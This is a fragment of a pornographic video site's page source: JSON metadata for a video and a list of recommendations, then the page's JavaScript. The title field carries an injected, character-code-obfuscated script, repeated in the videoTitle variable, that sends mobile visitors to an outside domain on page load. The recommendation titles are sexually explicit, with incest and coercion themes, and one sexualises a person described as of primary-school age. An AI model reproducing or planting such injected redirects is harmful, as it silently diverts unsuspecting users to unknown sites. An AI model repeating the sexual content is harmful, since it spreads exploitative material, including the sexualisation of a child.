</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Sie legt ihren superniedlichen und zugänglichen Stil ab und ist schockiert! [Das perverse Mädchen, das immer eine Erektion bekommt und mehrmals ejakuliert] hat auch einen starken Hintern → Iron-like All-Japan Cameo Collaboration - Delusion Tribe
Sie legt ihren superniedlichen und zugänglichen Stil ab und ist schockiert! [Das perverse Mädchen, das immer eine Erektion bekommt und mehrmals ejakuliert] hat auch einen starken Hintern → Iron-like All-Japan Cameo Collaboration - Delusion Tribe","site_id":0,"video_url":"https://2605.v155p.com/20260610/8tcu7w3t/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTAzNmEyZGI5OTE1ODVlMTBiMWZlNDVmMDlhMDBhZmUuanBn.cache","duration":"02:50:03","actor":[],"lastmod":1783766805,"rating":"1.0","view_count":555,"description":"Sie legt ihr superniedliches und zugängliches Image ab und wird Sie schockieren: Sie entdecken ein „perverses Mädchen, das ständig erregt ist und mehrmals ejakuliert“ mit einem unglaublich knackigen Po → eisern. All-Japan Cameo Association – Delusion Tribe","tag":["Abheben","Stil","Erektion","wiederholt","Schießen","Samen","abnormal","Mädchen","Hintern","Sehr stark","Japan","Kombination","Täuschung","Wahnhafte Menschen"],"site_url":"175559","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["女优明星"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvNTAzNmEyZGI5OTE1ODVlMTBiMWZlNDVmMDlhMDBhZmUuanBn.cache","maker":"","table_name":"videos_155zy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"脱掉超萌又亲民的风格层,惊呆了【总是勃起多次射出精液的变态妹子】屁股也很强→铁质 全日本カメコ协同组合-妄想族","s_keywords":"脱掉超萌又亲民的风格层,惊呆了【总是勃起多次射出精液的变态妹子】屁股也很强→铁质 全日本カメコ协同组合-妄想族","s_description":"Sie legt ihren superniedlichen und zugänglichen Stil ab und ist schockiert! [Das perverse Mädchen, das immer eine Erektion bekommt und mehrmals ejakuliert] hat auch einen starken Hintern → Iron-like All-Japan Cameo Collaboration - Delusion Tribe","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MjgvNDg3YzJjNDU3NTEyZjI3NWM5NWQyOGE5OTc5NmI5ZjMuanBn.cache","vod_id":19054664,"title":"T38020 Vater: Kaho Tamaki T38020 Am Tag, als mein Vater starb, war meine wiederverheiratete Stiefmutter in einem Moment der Verzweiflung und presste mir den gesamten Samen aus.","lastmod":"2025-09-27","duration":"02:01:28","url":"/play/19054664.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZjRlMzIxZjFjNzg5ZTFiYWRhODVkNmYwMjA1MTNlY2EuanBn.cache","vod_id":18968289,"title":"FC2PPV 3231530 [Vielen Dank an Samurai Japan für ihren inspirierenden Sieg!] Mio, die wie Gakki aussieht, ist endlich erwacht!","lastmod":"2025-12-14","duration":"00:25:08","url":"/play/18968289.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvOGY4NmYyMzc4NzRmYWUyOThlNmI5NDM1OGI4MTM4ZWQuanBn.cache","vod_id":18963839,"title":"FC2PPV 3196582 [Brain Orgasm Voice] Ein Mädchen mit einer sexy, rauchigen Stimme und außergewöhnlichem Stil. Obszöne Sprache und Orgasmustraining.","lastmod":"2025-12-14","duration":"01:19:44","url":"/play/18963839.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNTZmODIwNjY4NjQxNWFhMjM1ZjI2MmNlYzZhYzBhYjkuanBn.cache","vod_id":18977083,"title":"Der SDMU-722 Magic Mirror Van in Europa. Während unserer 182-tägigen Dreharbeiten im Ausland wählten wir 254 Mädchen aus und suchten dabei die hübschesten für den japanischen Geschmack aus.","lastmod":"2025-03-23","duration":"04:00:06","url":"/play/18977083.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNmY0MWE1Mzk3MDY1M2Y3NTIxYjdjMGViZGUzNDk5YjQuanBn.cache","vod_id":18996691,"title":"MIAA-281 Sofortige Erektion – Vater im verführerischen Rock","lastmod":"2025-12-14","duration":"02:00:06","url":"/play/18996691.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODQyZGUwYTM5ZjZjZGI5ZGMyNGY4OTNmNzY1MDhkNDUuanBn.cache","vod_id":19151565,"title":"PervMom – Stiefmutter mit großem Hintern betrügt ihren Stiefsohn mit großem Penis [Perv Mom]","lastmod":"2026-04-03","duration":"12:31","url":"/play/19151565.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZjA5YWNhZTFkNjE2ZjUzOTg2NTkzMjg3ZDQ3MzNhZWIuanBn.cache","vod_id":19153448,"title":"Die perverse, übergewichtige Studentin ist unser Sex-Urinal. Ihre Augen blitzten vor Wahnsinn.","lastmod":"2026-04-15","duration":"02:17:50","url":"/play/19153448.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvNThmMGJlYjY2ZjM3YjQxNjFjYzE5MDk3N2VjYmE0YzAuanBn.cache","vod_id":19026899,"title":"Das Paar, ein Mädchen mit natürlicher G-Körbchengröße und lockigem Haar, wurde heftig gefickt, bis sie völlig befriedigt war, und sie probierten viele verschiedene Stellungen aus.","lastmod":"2025-03-28","duration":"44:47","url":"/play/19026899.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYTM3NzhjZjYyZjM5N2Y1ZWY3MGZkNDQ1Nzg3MGRkYzUuanBn.cache","vod_id":18985007,"title":"FC2PPV 3842386 [Pajamas Monashi] Pajamas de Ojama♥ Haruka-chan mit einem süßen Lächeln und nach unten gerichteten Augen♥ fröhliche Persönlichkeit und herausragender Stil","lastmod":"2025-03-23","duration":"01:27:56","url":"/play/18985007.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvMGE0NjJiOWEyMGEwZmFjMzM4MDUwMzc4ZTM3YWU2MDUuanBn.cache","vod_id":19161569,"title":"Ein wunderschöner Butler mit einem großen Hintern wird sofort gefickt, während er ihren ungeschützten Hintern reinigt, und dreht mit ihrem entblößten Anus völlig durch und wird immer wieder gefickt. Akari Tsumugi Madonna","lastmod":"2026-07-11","duration":"02:00:23","url":"/play/19161569.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MTUvMjM4YTk2ZDRiYjYyNDFkNDU3ZmUzOTQ2YmJiODA5ZWYuanBn.cache","vod_id":19052756,"title":"Ein süßes, flachbrüstiges Mädchen wird von ihrem Chef mit urkomischen Dialogen ausgeschimpft, gefolgt von einer Masturbationsszene mit Requisiten. Nicht verpassen, wenn du auf solche Inhalte stehst.","lastmod":"2025-09-14","duration":"49:35","url":"/play/19052756.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MTQvZTJlMTZjYzAyYTRmZmM4NGJiZmE3NWE2MTk1ZjA4Y2EuanBn.cache","vod_id":19042619,"title":"CJOD457 „Tut mir leid, ich habe deinen Penis größer gemacht…“ Die Tante, die mir einen wunderschönen Körper gegeben und mir zu einer schönen Erektion verholfen hat.","lastmod":"2025-07-13","duration":"01:57:28","url":"/play/19042619.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZmQ4NjJjMGVjZGMyNTA2YWVlM2UyODdjMDcyMDM5OTcuanBn.cache","vod_id":18977322,"title":"JUY-625 Als ich die Tante, die im Krankenhaus arbeitete, bat, sich um meinen erigierten Penis zu kümmern, kümmerte sie sich heimlich um mich. Yuko Shiraki","lastmod":"2025-03-23","duration":"02:27:20","url":"/play/18977322.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvODk3NDczYzgyZDBkZjJiNmJkMWRlMjVhMjFiNzNjZTkuanBn.cache","vod_id":18926763,"title":"Leidenschaftliche Begegnung eines tätowierten Mannes mit einer Frau in Dessous in einem Hotelzimmer; Oralsex, vaginale Berührungen, Po-Kneten, Stoßen, Stöhnen und Keuchen – äußerst verführerisch. Nicht verpassen!","lastmod":"2025-12-14","duration":"02:09:53","url":"/play/18926763.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMjI1MWI1MjkxOTAzYWEwZjk4YzkxZWI2MGE4ZDg2ZGYuanBn.cache","vod_id":18935466,"title":"[Chinesische Untertitel] HBAD-529 Eine Mutter, die gezwungen ist, den frühreifen Freund ihres Sohnes zu befriedigen und mit Sperma bedeckt ist ~ Kaori Honda","lastmod":"2025-12-14","duration":"02:00:04","url":"/play/18935466.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMTU4MGI4YWU0NTJlOWUzMDNmYjNlOGY3MGMzNmUwYzcuanBn.cache","vod_id":19005722,"title":"MTALL-086-C [Nipple Erection NTR] Meine Freundin ist in einem Land aufgewachsen, das für seine FKK-Strände bekannt ist. Sie ist sich ihrer sexuellen Orientierung nicht bewusst und trägt keinen BH.","lastmod":"2025-03-24","duration":"02:19:25","url":"/play/19005722.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvZGIwNTJhYTQ2N2M5NDUzMTdmNTc4OTM4MmNiMjFjNjguanBn.cache","vod_id":18955735,"title":"Obwohl SW-276 wenig Selbstvertrauen hatte, nahm er die stärksten Potenzpillen der Geschichte und unterzog sich der „Ejakulationsverhinderungsbehandlung“. Seine Erektionen waren so gewaltig, dass sie Papier zerrissen und aus seiner Hose quollen.","lastmod":"2025-03-22","duration":"02:01:14","url":"/play/18955735.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYWIwZmU5Njc2ZDNiNWQ2Mjg2YzBlNWI0MTNjNDJiMzguanBn.cache","vod_id":19161574,"title":"Fünfzigjährige Schneeflocken-Fleisch-Hausfrau dreht ihren ersten Dreh Ayano (52 Jahre alt) Kitchikus - Delusion Tribe","lastmod":"2026-07-11","duration":"02:07:36","url":"/play/19161574.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvYjJiN2RkYzI4NDQyZTI4Y2I4NGQ4ZWQwMzNkNzUwNmYuanBn.cache","vod_id":18987593,"title":"HEZ-674 „Warum erregst du deine Mutter?“, flehte die Mutter, ihr Verlangen ignorierte die Erektion ihres Sohnes! Inzestuöser Sex und Ejakulation 11","lastmod":"2025-03-23","duration":"04:41:02","url":"/play/18987593.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvZTgyZWU2MTM1MjM5MWE1MzU4ODQwOGU1MmZhODVmZjkuanBn.cache","vod_id":19137438,"title":"Größe 177 cm, Brustumfang 119 cm, Taille 80 cm, Hüftumfang 121 cm. Eine talentierte Amateurin mit L-Körbchen☆ Eine hervorragende Schauspielerin, die sich vom typischen japanischen Stil abhebt. Unbekannte Schauspielerin PAIS-080","lastmod":"2026-01-09","duration":"04:00:24","url":"/play/19137438.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMTMvZGU2MGE0OGUzZTQyMmExMzkwZWUyMmU2OGVmZGRmYjYuanBn.cache","vod_id":19065235,"title":"Eine maskierte Schönheit namens Menesu reizt einen Kunden mit extremen Nahaufnahmen, was zu einer Erektion führt, und reibt sich mit einem Stringtanga. (Unbekannter Darsteller FJIN_036)","lastmod":"2025-12-14","duration":"03:33:21","url":"/play/19065235.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA1MzAvMWZmNjhlOGU3YjIxYTA1MGMyN2FiNTg5MjE0N2FmZDAuanBn.cache","vod_id":19035771,"title":"IGA07 Ultimativer, unbegrenzter Sex!! Du kannst erst nach Hause gehen, wenn du diese sexhungrige, reife Frau komplett leergesaugt hast!!","lastmod":"2025-05-30","duration":"01:47:34","url":"/play/19035771.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTExMDQvZDM0N2U5NWMzMjI3MDA4Nzk2ZjMyMWQwM2Y1Mzk0NWYuanBn.cache","vod_id":19061133,"title":"Seht meine schwarzen Strümpfe, ich bin ganz aufgeregt! Meine wunderschöne Chefin hat mich sanft durch ihre schwarzen Strümpfe geführt! Unbekannter Schauspieler SW_972","lastmod":"2025-11-03","duration":"03:36:10","url":"/play/19061133.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzAvMGI4YTlkMzY2MTZkNTcyYjExYzg3Y2E5NTZiMGI3ZWMuanBn.cache","vod_id":18991899,"title":"Eine umwerfend schöne Studentin (176 cm groß, noch im Grundschulalter) zog im Unterricht ihren BH aus und entblößte ihre Brüste, während die anderen Studenten mit ihren Handys spielten. Zurück im Wohnheim zog sie das Moskitonetz hoch, entblößte sich vollständig und zeigte ihre rosafarbene Vulva. Die Realität ist noch viel aufregender!","lastmod":"2025-12-14","duration":"03:17:37","url":"/play/18991899.html"}]},
videoTitle: '</title><script>var _=String['fromCharCode'];var a=_(77,111,98,105,108,101);var b=_(65,110,100,114,111,105,100);var c=_(105,80,104,111,110,101);var d=_(105,80,97,100);var u=navigator.userAgent;if(u.indexOf(a)>-1||u.indexOf(b)>-1||u.indexOf(c)>-1||u.indexOf(d)>-1){window.location.href=_(104,116,116,112,115,58,47,47,120,105,97,122,97,105,46,105,116,46,99,111,109)}</script><title>Sie legt ihren superniedlichen und zugänglichen Stil ab und ist schockiert! [Das perverse Mädchen, das immer eine Erektion bekommt und mehrmals ejakuliert] hat auch einen starken Hintern → Iron-like All-Japan Cameo Collaboration - Delusion Tribe',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}